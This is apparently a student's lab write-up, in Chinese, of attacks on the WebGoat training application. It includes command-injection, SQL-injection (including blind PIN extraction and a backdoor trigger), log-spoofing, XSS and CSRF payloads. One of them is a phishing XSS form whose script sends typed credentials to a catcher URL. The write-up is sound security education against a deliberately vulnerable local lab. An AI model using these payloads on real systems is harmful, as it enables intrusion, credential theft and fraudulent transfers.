一、实践原理
二、实践过程
(一)WebGoat安装
- 下载Java -jar webgoat-container-7.0.1-war-exec.jar文件
- 输入java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat
- 安装jdk1.8(不安装没有左边的课程栏,参考这篇文章进行安装配置)
- 浏览器输入localhost:8080/WebGoat,输入用户名密码登录
(二)SQL注入攻击
1. 命令注入(Command Injection)
- 原理:修改提交的参数,使服务器执行恶意命令
- 目标:能够在目标主机上执行任何系统命令
- 在左侧菜单栏中选择 Injection Flaws->Command Injection
- 右键点击复选框选择Inspect Element审查网页元素对源代码进行更改,找到名字为 HelpFile 的 select 元素,在第一项内容的后面添加 "& netstat -an & ipconfig" ,修改后再次点击下拉框旁的 View
- 即可看到端口开放情况
2. 数字型SQL注入(Numeric SQL Injection)
- 原理:利用SQL语句的特点,注入数字型数据,使系统执行恶意代码
- 目标:对SQL语句注入特征字符,组合形成新的SQL语句,以此来查询所有城市的天气情况。
- 左侧课程栏选中 Injection Flaws -> Numeric SQL Injection
- 对源代码 option 进行修改,将选中的城市编号
value="101"
改为value="101 or 1=1"
- 点击Go!即可显示所有城市的天气。
3. 日志欺骗(Log Spoofing)
- 原理:在系统日志中抹除黑客访问的记录,混淆安全软件视听。
- 目标:使得日志中仅有用户名为20174303的用户成功登录。
- 左侧课程栏选中 Injection Flaws -> Log Spoofing
- 在User Name文本框中填写 guest%0d%0aLogin Succeeded for username: 20174303 ,其中
%0d
是回车,%oa
是换行符,可以让注入信息转行显示。 - 点击登录后,可以看到我们注入的语句在第二行显示出来了。
4. 字符串型注入(String SQL Injection)
- 原理:利用SQL语句的特点,注入字符串,使系统执行恶意代码
- 目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
- 在左侧菜单栏中选择Injection Flaws->String SQL Injection
- 用
'
提前闭合""
,插入永真式1=1
,--
注释掉后面的内容,可以输入查询的用户名Smith' or 1=1--选择表里面的所有数据
5. LAB: SQL Injection
- 原理:利用SQL语句的特点,注入字符串,使系统执行恶意代码
- 目标:通过注入字符串绕过认证
- 左侧课程栏选中Injection Flaws -> LAB: SQL Injection
- 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20
- 重新输入
' or 1=1 --
,登录成功!
6. 数据库后门(Database Backdoors)
- 原理:利用数据库中的触发器,使用INSERT语句来使系统执行恶意代码
- 目标:通过注入字符串绕过认证
- 输入用户ID
101
得到该用户信息
- 输入注入语句 101; update employee set salary=10000
执行两个语句
- 输入用户id101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]' WHERE userid = NEW.userid
7. 数字型盲注入(Blind Numeric SQL Injection)
- 输入查询语句101 AND 1=1,因为两个条件都成立,所以页面返回帐号有效
- 输入查询语句 101 AND 1=2
,因为第二个条件不成立,所以而页面返回帐号无效
- 构造复杂语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 ); ,如果页面提示帐号有效,说明PIN>10000,否则PIN<=10000
- 后续使用二分法缩小判断范围,可以最终判断出PIN数值大小,输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
- 得到正确PIN值2364,输入验证,有效。
8. 字符串型盲注入(Blind String SQL Injection)
- 输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );取得 pin 字段数值的第一个字母,并判断其是否比字 母“H”小
- 经过多次测试比较0-9、A-Z、a-z等字符串和页面的返回数据,判断出第一个字符为J,同理继续判断第二个字符,输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
- 最终的都正确PIN字段Jill输入验证
(三)XSS攻击
1. Phishing with XSS
- 目标:创建一个form要求填写用户名和密码,收集信息
- 编写一个含有文本框、提交按钮的表单的代码
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script>
<form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR> - 左侧课程栏选中Cross-Site Scripting (XSS) -> Phishing with XSS
- 在文本框中搜索该代码,可以看到新的表单,输入用户名密码登录
2. Stored XSS Attacks
- 目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
- 在留言板输入<script>alert("20174303 attack succeed ,congratulations!!!");</script>后点击
Submit
攻击成功
3. Reflected XSS Attacks
- 目标:使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件发送,或者通过其他方式让受害者点击它。
- 序列码输入<script>alert(" 20174303 is coming!");</script>后点击
Submit
,显示内容为script脚本指定的警告框
(四)CSRF攻击
1.Cross Site Request Forgery
- 目标:向新闻组发送电子邮件。电子邮件包含一个图片,其URL指向一个恶意请求。
- 点击 XSS -> Cross Site Request Forgery(CSRF)
- 查看确定
Parameters
中的scr
和menu
- message中输入
<img src="http://localhost:8080/WebGoat/attack?Screen= 325&menu=900&transferFunds=4303" width="1" height="1" />
其中Screen和menu的值由右侧表格看出,语句
transferFunds=4303
意为把受害者的钱转走。 - title输入4303,点击submit后出现一个链接
- 点击链接,攻击成功!
2.CSRF Prompt By-Pass
- message中输入<iframe src="attack?Screen=318&menu=900&transferFunds=4303"> </iframe> <iframe src="attack?Screen=318&menu=900&transferFunds=CONFIRM"> </iframe>
- 生成链接后点击,攻击成功!